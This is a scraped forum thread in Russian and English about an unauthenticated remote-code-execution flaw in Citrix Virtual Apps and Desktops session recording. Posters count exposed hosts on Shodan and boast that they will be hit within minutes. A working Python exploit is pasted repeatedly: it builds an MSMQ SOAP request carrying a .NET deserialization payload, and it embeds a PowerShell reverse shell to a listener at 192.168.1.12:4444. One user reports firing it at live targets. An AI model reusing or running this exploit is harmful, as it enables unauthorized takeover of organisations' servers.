GitHub - watchtowrlabs/Citrix-Virtual-Apps-XEN-Exploit: Citrix Virtual Apps and Desktops (XEN) Unauthenticated RCE
Citrix Virtual Apps and Desktops (XEN) Unauthenticated RCE - watchtowrlabs/Citrix-Virtual-Apps-XEN-Exploit
да, тоже заметил различиеshodan count citrix/storeweb
294
С таким уже успел побаловаться, без результатов. Эксплойт на гите выложен без реверс-шелла (не тот, который на гифке на гитхабе)
My bad. I should've paid more attention when posting.Если я не ошибаюсь, вы должны находиться в том же Active Directory, что и целевой сервер :
CVE-2024-8069 : "Attacker must be an authenticated user on the same intranet as the session recording server" https://support.citrix.com/s/articl...rity-bulletin-for-cve20248068-and-cve20248069
Yes, you're not alone I also thought it was exploitable at first. But then I saw the CVSS4 only 5.1 and Attack Vector set to Adjacent :/ .My bad. I should've paid more attention when posting.
Honestly, it gave me the error saying I need a tag and I didn't really think, just clicked remote. Maybe it should be relabeled
Interesting, I scanned about ~1500 exposed XenServer (got them shodan, censys, hunter ect...) right after the publication with the WatchTower Lab poc and got no vulnerable instanceKevin Beaumont (@GossiTheDog@cyberplace.social)
With regards to the Citrix Session Recorder vuln, although Citrix call it “limited” RCE, say it needs intranet access and valid auth - all of these things are wrong. I’ve been able to exploit over internet without authentication, and some orgs are deploying it like that.cyberplace.social

def main():
args = parse_arguments()
# Modify the command to include a reverse shell payload
reverse_shell_cmd = "powershell -NoP -NonI -W Hidden -Exec Bypass -Command " \
"'$client = New-Object System.Net.Sockets.TCPClient(\"192.168.1.12\", 4444); " \
"$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0}; " \
"while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;" \
"$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i); " \
"$sendback = (iex $data 2>&1 | Out-String ); " \
"$sendback2 = $sendback + \"PS \" + (pwd).Path + \"> \"; " \
"$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2); " \
"$stream.Write($sendbyte,0,$sendbyte.Length); " \
"$stream.Flush()};$client.Close()'"
# Replace args.cmd with the reverse shell payload
args.cmd = reverse_shell_cmd
payload = generate_payload(args.target, args.cmd)
send_payload(args.target, args.port, payload)
import socket
import random
from uuid import uuid4
from datetime import datetime, timedelta
import argparse
def parse_arguments():
parser = argparse.ArgumentParser()
parser.add_argument('--target', '-t', type=str, help='Target IP address', required=True)
parser.add_argument('--port', '-p', type=int, help='Target port', required=False, default=80)
return parser.parse_args()
def generate_payload(target, cmd):
cmd = ("/c " + cmd).encode()
cmdlen = len(cmd)
random_boundary = "MSMQ - SOAP boundary, " + str(random.randint(100000000, 999999999))
random_guid = str(uuid4())
random_int = str(random.randint(1000, 9999))
sentAt = datetime.now()
expiresAt = sentAt + timedelta(days=4)
sentAt_str = sentAt.strftime('%Y%m%dT%H%M%S')
TTrq = expiresAt.strftime('%Y%m%dT%H%M%S')
var_first = f"""POST /msmq/private$/citrixsmaudeventdata HTTP/1.1\r
Host: {target}\r
Content-Type: multipart/related; boundary="{random_boundary}"; type=text/xml\r
Content-Length: REPLACE_FULL_SIZE\r
SOAPAction: "MSMQMessage"\r
Proxy-Accept: NonInteractiveClient\r
\r
--{random_boundary}\r
Content-Type: text/xml; charset=UTF-8\r
Content-Length: REPLACE_XML_SIZE\r
\r
"""
the_xml = f"""<se:Envelope xmlns:se="http://schemas.xmlsoap.org/soap/envelope/" xmlns="http://schemas.xmlsoap.org/srmp/"><se:Header><path xmlns="http://schemas.xmlsoap.org/rp/" se:mustUnderstand="1"><action>MSMQ:</action><to>HTTP://{target}/msmq/Private$/CitrixSmAudEventData</to><id>uuid:{random_int}@{random_guid}</id></path><properties se:mustUnderstand="1"><expiresAt>20380119T031407</expiresAt><sentAt>{sentAt_str}</sentAt></properties><Msmq xmlns="msmq.namespace.xml"><Class>0</Class><Priority>3</Priority><Correlation>AAAAAAAAAAAAAAAAAAAAAAAAAAA=</Correlation><App>0</App><BodyType>768</BodyType><HashAlgorithm>32782</HashAlgorithm><SourceQmGuid>{random_guid}</SourceQmGuid><TTrq>{TTrq}</TTrq></Msmq></se:Header><se:Body></se:Body></se:Envelope>""".encode('utf-8')
var_third = f"""--{random_boundary}\r
Content-Type: application/octet-stream\r
Content-Length: REPLACE_MESSAGE_SIZE\r
Content-Id: body@{random_guid}\r
\r
"""
the_msg = bytes.fromhex("00 01 00 00 00 FF FF FF FF 01 00 00 00 00 00 00 00 0C 02 00 00 00 49 53 79 73 74 65 6D 2C 20 56 65 72 73 69 6F 6E 3D 34 2E 30 2E 30 2E 30 2C 20 43 75 6C 74 75 72 65 3D 6E 65 75 74 72 61 6C 2C 20 50 75 62 6C 69 63 4B 65 79 54 6F 6B 65 6E 3D 62 37 37 61 35 63 35 36 31 39 33 34 65 30 38 39" +
"05 01 00 00 00 84 01 53 79 73 74 65 6D 2E 43 6F 6C 6C 65 63 74 69 6F 6E 73 2E 47 65 6E 65 72 69 63 2E 53 6F 72 74 65 64 53 65 74 60 31" +
"5B 5B 53 79 73 74 65 6D 2E 53 74 72 69 6E 67 2C 20 6D 73 63 6F 72 6C 69 62 2C 20 56 65 72 73 69 6F 6E 3D 34 2E 30 2E 30 2E 30 2C 20 43 75 6C 74 75 72 65 3D 6E 65 75 74 72 61 6C 2C 20 50 75 62 6C 69 63 4B 65 79 54 6F 6B 65 6E 3D 62 37 37 61 35 63 35 36 31 39 33 34 65 30 38 39") + int.to_bytes(cmdlen, 4, 'big') + cmd
the_end = f"--{random_boundary}--\r\n"
xml_size = len(the_xml)
message_size = len(the_msg)
var_first = var_first.replace("REPLACE_XML_SIZE", str(xml_size))
var_third = var_third.replace("REPLACE_MESSAGE_SIZE", str(message_size))
final_payload = var_first.encode() + the_xml + var_third.encode() + the_msg + the_end.encode()
final_payload = final_payload.replace(b"REPLACE_FULL_SIZE", str(len(final_payload[final_payload.index(b"--MSMQ"):])).encode())
return final_payload
def send_payload(target, port, payload):
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target, port))
s.send(payload)
s.close()
print(f"[INFO] Successfully sent command to {target}!")
except Exception as e:
print(f"[ERROR] Unable to connect to {target} on port {port}: {e}")
exit(1)
def main():
print_banner()
args = parse_arguments()
# Add the reverse shell payload for 192.168.1.12:4444
reverse_shell_cmd = "powershell -NoP -NonI -W Hidden -Exec Bypass -Command " \
"'$client = New-Object System.Net.Sockets.TCPClient(\"192.168.1.12\", 4444); " \
"$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0}; " \
"while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;" \
"$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i); " \
"$sendback = (iex $data 2>&1 | Out-String ); " \
"$sendback2 = $sendback + \"PS \" + (pwd).Path + \"> \"; " \
"$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2); " \
"$stream.Write($sendbyte,0,$sendbyte.Length); " \
"$stream.Flush()};$client.Close()'"
payload = generate_payload(args.target, reverse_shell_cmd)
send_payload(args.target, args.port, payload)
def print_banner():
print("=== MSMQ Reverse Shell Payload Script ===")
print("Usage restricted to authorized testing only!")
if __name__ == "__main__":
main()
среднее значение 20-40 минут после публикациида, тоже заметил различие
эх, ну ладно, ща эти хосты отъебут минут за 5![]()
if somone can test , i dont have shodan acc
Код:def main(): args = parse_arguments() # Modify the command to include a reverse shell payload reverse_shell_cmd = "powershell -NoP -NonI -W Hidden -Exec Bypass -Command " \ "'$client = New-Object System.Net.Sockets.TCPClient(\"192.168.1.12\", 4444); " \ "$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0}; " \ "while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;" \ "$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i); " \ "$sendback = (iex $data 2>&1 | Out-String ); " \ "$sendback2 = $sendback + \"PS \" + (pwd).Path + \"> \"; " \ "$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2); " \ "$stream.Write($sendbyte,0,$sendbyte.Length); " \ "$stream.Flush()};$client.Close()'" # Replace args.cmd with the reverse shell payload args.cmd = reverse_shell_cmd payload = generate_payload(args.target, args.cmd) send_payload(args.target, args.port, payload)
Код:import socket import random from uuid import uuid4 from datetime import datetime, timedelta import argparse def parse_arguments(): parser = argparse.ArgumentParser() parser.add_argument('--target', '-t', type=str, help='Target IP address', required=True) parser.add_argument('--port', '-p', type=int, help='Target port', required=False, default=80) return parser.parse_args() def generate_payload(target, cmd): cmd = ("/c " + cmd).encode() cmdlen = len(cmd) random_boundary = "MSMQ - SOAP boundary, " + str(random.randint(100000000, 999999999)) random_guid = str(uuid4()) random_int = str(random.randint(1000, 9999)) sentAt = datetime.now() expiresAt = sentAt + timedelta(days=4) sentAt_str = sentAt.strftime('%Y%m%dT%H%M%S') TTrq = expiresAt.strftime('%Y%m%dT%H%M%S') var_first = f"""POST /msmq/private$/citrixsmaudeventdata HTTP/1.1\r Host: {target}\r Content-Type: multipart/related; boundary="{random_boundary}"; type=text/xml\r Content-Length: REPLACE_FULL_SIZE\r SOAPAction: "MSMQMessage"\r Proxy-Accept: NonInteractiveClient\r \r --{random_boundary}\r Content-Type: text/xml; charset=UTF-8\r Content-Length: REPLACE_XML_SIZE\r \r """ the_xml = f"""<se:Envelope xmlns:se="http://schemas.xmlsoap.org/soap/envelope/" xmlns="http://schemas.xmlsoap.org/srmp/"><se:Header><path xmlns="http://schemas.xmlsoap.org/rp/" se:mustUnderstand="1"><action>MSMQ:</action><to>HTTP://{target}/msmq/Private$/CitrixSmAudEventData</to><id>uuid:{random_int}@{random_guid}</id></path><properties se:mustUnderstand="1"><expiresAt>20380119T031407</expiresAt><sentAt>{sentAt_str}</sentAt></properties><Msmq xmlns="msmq.namespace.xml"><Class>0</Class><Priority>3</Priority><Correlation>AAAAAAAAAAAAAAAAAAAAAAAAAAA=</Correlation><App>0</App><BodyType>768</BodyType><HashAlgorithm>32782</HashAlgorithm><SourceQmGuid>{random_guid}</SourceQmGuid><TTrq>{TTrq}</TTrq></Msmq></se:Header><se:Body></se:Body></se:Envelope>""".encode('utf-8') var_third = f"""--{random_boundary}\r Content-Type: application/octet-stream\r Content-Length: REPLACE_MESSAGE_SIZE\r Content-Id: body@{random_guid}\r \r """ the_msg = bytes.fromhex("00 01 00 00 00 FF FF FF FF 01 00 00 00 00 00 00 00 0C 02 00 00 00 49 53 79 73 74 65 6D 2C 20 56 65 72 73 69 6F 6E 3D 34 2E 30 2E 30 2E 30 2C 20 43 75 6C 74 75 72 65 3D 6E 65 75 74 72 61 6C 2C 20 50 75 62 6C 69 63 4B 65 79 54 6F 6B 65 6E 3D 62 37 37 61 35 63 35 36 31 39 33 34 65 30 38 39" + "05 01 00 00 00 84 01 53 79 73 74 65 6D 2E 43 6F 6C 6C 65 63 74 69 6F 6E 73 2E 47 65 6E 65 72 69 63 2E 53 6F 72 74 65 64 53 65 74 60 31" + "5B 5B 53 79 73 74 65 6D 2E 53 74 72 69 6E 67 2C 20 6D 73 63 6F 72 6C 69 62 2C 20 56 65 72 73 69 6F 6E 3D 34 2E 30 2E 30 2E 30 2C 20 43 75 6C 74 75 72 65 3D 6E 65 75 74 72 61 6C 2C 20 50 75 62 6C 69 63 4B 65 79 54 6F 6B 65 6E 3D 62 37 37 61 35 63 35 36 31 39 33 34 65 30 38 39") + int.to_bytes(cmdlen, 4, 'big') + cmd the_end = f"--{random_boundary}--\r\n" xml_size = len(the_xml) message_size = len(the_msg) var_first = var_first.replace("REPLACE_XML_SIZE", str(xml_size)) var_third = var_third.replace("REPLACE_MESSAGE_SIZE", str(message_size)) final_payload = var_first.encode() + the_xml + var_third.encode() + the_msg + the_end.encode() final_payload = final_payload.replace(b"REPLACE_FULL_SIZE", str(len(final_payload[final_payload.index(b"--MSMQ"):])).encode()) return final_payload def send_payload(target, port, payload): try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((target, port)) s.send(payload) s.close() print(f"[INFO] Successfully sent command to {target}!") except Exception as e: print(f"[ERROR] Unable to connect to {target} on port {port}: {e}") exit(1) def main(): print_banner() args = parse_arguments() # Add the reverse shell payload for 192.168.1.12:4444 reverse_shell_cmd = "powershell -NoP -NonI -W Hidden -Exec Bypass -Command " \ "'$client = New-Object System.Net.Sockets.TCPClient(\"192.168.1.12\", 4444); " \ "$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0}; " \ "while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;" \ "$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i); " \ "$sendback = (iex $data 2>&1 | Out-String ); " \ "$sendback2 = $sendback + \"PS \" + (pwd).Path + \"> \"; " \ "$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2); " \ "$stream.Write($sendbyte,0,$sendbyte.Length); " \ "$stream.Flush()};$client.Close()'" payload = generate_payload(args.target, reverse_shell_cmd) send_payload(args.target, args.port, payload) def print_banner(): print("=== MSMQ Reverse Shell Payload Script ===") print("Usage restricted to authorized testing only!") if __name__ == "__main__": main()
[INFO] Successfully sent command to IP >> We tried different options, the commands work everywhere, but there is no feedback, thanks for the adviceif somone can test , i dont have shodan acc
Код:def main(): args = parse_arguments() # Modify the command to include a reverse shell payload reverse_shell_cmd = "powershell -NoP -NonI -W Hidden -Exec Bypass -Command " \ "'$client = New-Object System.Net.Sockets.TCPClient(\"192.168.1.12\", 4444); " \ "$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0}; " \ "while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;" \ "$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i); " \ "$sendback = (iex $data 2>&1 | Out-String ); " \ "$sendback2 = $sendback + \"PS \" + (pwd).Path + \"> \"; " \ "$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2); " \ "$stream.Write($sendbyte,0,$sendbyte.Length); " \ "$stream.Flush()};$client.Close()'" # Replace args.cmd with the reverse shell payload args.cmd = reverse_shell_cmd payload = generate_payload(args.target, args.cmd) send_payload(args.target, args.port, payload)
Код:import socket import random from uuid import uuid4 from datetime import datetime, timedelta import argparse def parse_arguments(): parser = argparse.ArgumentParser() parser.add_argument('--target', '-t', type=str, help='Target IP address', required=True) parser.add_argument('--port', '-p', type=int, help='Target port', required=False, default=80) return parser.parse_args() def generate_payload(target, cmd): cmd = ("/c " + cmd).encode() cmdlen = len(cmd) random_boundary = "MSMQ - SOAP boundary, " + str(random.randint(100000000, 999999999)) random_guid = str(uuid4()) random_int = str(random.randint(1000, 9999)) sentAt = datetime.now() expiresAt = sentAt + timedelta(days=4) sentAt_str = sentAt.strftime('%Y%m%dT%H%M%S') TTrq = expiresAt.strftime('%Y%m%dT%H%M%S') var_first = f"""POST /msmq/private$/citrixsmaudeventdata HTTP/1.1\r Host: {target}\r Content-Type: multipart/related; boundary="{random_boundary}"; type=text/xml\r Content-Length: REPLACE_FULL_SIZE\r SOAPAction: "MSMQMessage"\r Proxy-Accept: NonInteractiveClient\r \r --{random_boundary}\r Content-Type: text/xml; charset=UTF-8\r Content-Length: REPLACE_XML_SIZE\r \r """ the_xml = f"""<se:Envelope xmlns:se="http://schemas.xmlsoap.org/soap/envelope/" xmlns="http://schemas.xmlsoap.org/srmp/"><se:Header><path xmlns="http://schemas.xmlsoap.org/rp/" se:mustUnderstand="1"><action>MSMQ:</action><to>HTTP://{target}/msmq/Private$/CitrixSmAudEventData</to><id>uuid:{random_int}@{random_guid}</id></path><properties se:mustUnderstand="1"><expiresAt>20380119T031407</expiresAt><sentAt>{sentAt_str}</sentAt></properties><Msmq xmlns="msmq.namespace.xml"><Class>0</Class><Priority>3</Priority><Correlation>AAAAAAAAAAAAAAAAAAAAAAAAAAA=</Correlation><App>0</App><BodyType>768</BodyType><HashAlgorithm>32782</HashAlgorithm><SourceQmGuid>{random_guid}</SourceQmGuid><TTrq>{TTrq}</TTrq></Msmq></se:Header><se:Body></se:Body></se:Envelope>""".encode('utf-8') var_third = f"""--{random_boundary}\r Content-Type: application/octet-stream\r Content-Length: REPLACE_MESSAGE_SIZE\r Content-Id: body@{random_guid}\r \r """ the_msg = bytes.fromhex("00 01 00 00 00 FF FF FF FF 01 00 00 00 00 00 00 00 0C 02 00 00 00 49 53 79 73 74 65 6D 2C 20 56 65 72 73 69 6F 6E 3D 34 2E 30 2E 30 2E 30 2C 20 43 75 6C 74 75 72 65 3D 6E 65 75 74 72 61 6C 2C 20 50 75 62 6C 69 63 4B 65 79 54 6F 6B 65 6E 3D 62 37 37 61 35 63 35 36 31 39 33 34 65 30 38 39" + "05 01 00 00 00 84 01 53 79 73 74 65 6D 2E 43 6F 6C 6C 65 63 74 69 6F 6E 73 2E 47 65 6E 65 72 69 63 2E 53 6F 72 74 65 64 53 65 74 60 31" + "5B 5B 53 79 73 74 65 6D 2E 53 74 72 69 6E 67 2C 20 6D 73 63 6F 72 6C 69 62 2C 20 56 65 72 73 69 6F 6E 3D 34 2E 30 2E 30 2E 30 2C 20 43 75 6C 74 75 72 65 3D 6E 65 75 74 72 61 6C 2C 20 50 75 62 6C 69 63 4B 65 79 54 6F 6B 65 6E 3D 62 37 37 61 35 63 35 36 31 39 33 34 65 30 38 39") + int.to_bytes(cmdlen, 4, 'big') + cmd the_end = f"--{random_boundary}--\r\n" xml_size = len(the_xml) message_size = len(the_msg) var_first = var_first.replace("REPLACE_XML_SIZE", str(xml_size)) var_third = var_third.replace("REPLACE_MESSAGE_SIZE", str(message_size)) final_payload = var_first.encode() + the_xml + var_third.encode() + the_msg + the_end.encode() final_payload = final_payload.replace(b"REPLACE_FULL_SIZE", str(len(final_payload[final_payload.index(b"--MSMQ"):])).encode()) return final_payload def send_payload(target, port, payload): try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((target, port)) s.send(payload) s.close() print(f"[INFO] Successfully sent command to {target}!") except Exception as e: print(f"[ERROR] Unable to connect to {target} on port {port}: {e}") exit(1) def main(): print_banner() args = parse_arguments() # Add the reverse shell payload for 192.168.1.12:4444 reverse_shell_cmd = "powershell -NoP -NonI -W Hidden -Exec Bypass -Command " \ "'$client = New-Object System.Net.Sockets.TCPClient(\"192.168.1.12\", 4444); " \ "$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0}; " \ "while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;" \ "$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i); " \ "$sendback = (iex $data 2>&1 | Out-String ); " \ "$sendback2 = $sendback + \"PS \" + (pwd).Path + \"> \"; " \ "$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2); " \ "$stream.Write($sendbyte,0,$sendbyte.Length); " \ "$stream.Flush()};$client.Close()'" payload = generate_payload(args.target, reverse_shell_cmd) send_payload(args.target, args.port, payload) def print_banner(): print("=== MSMQ Reverse Shell Payload Script ===") print("Usage restricted to authorized testing only!") if __name__ == "__main__": main()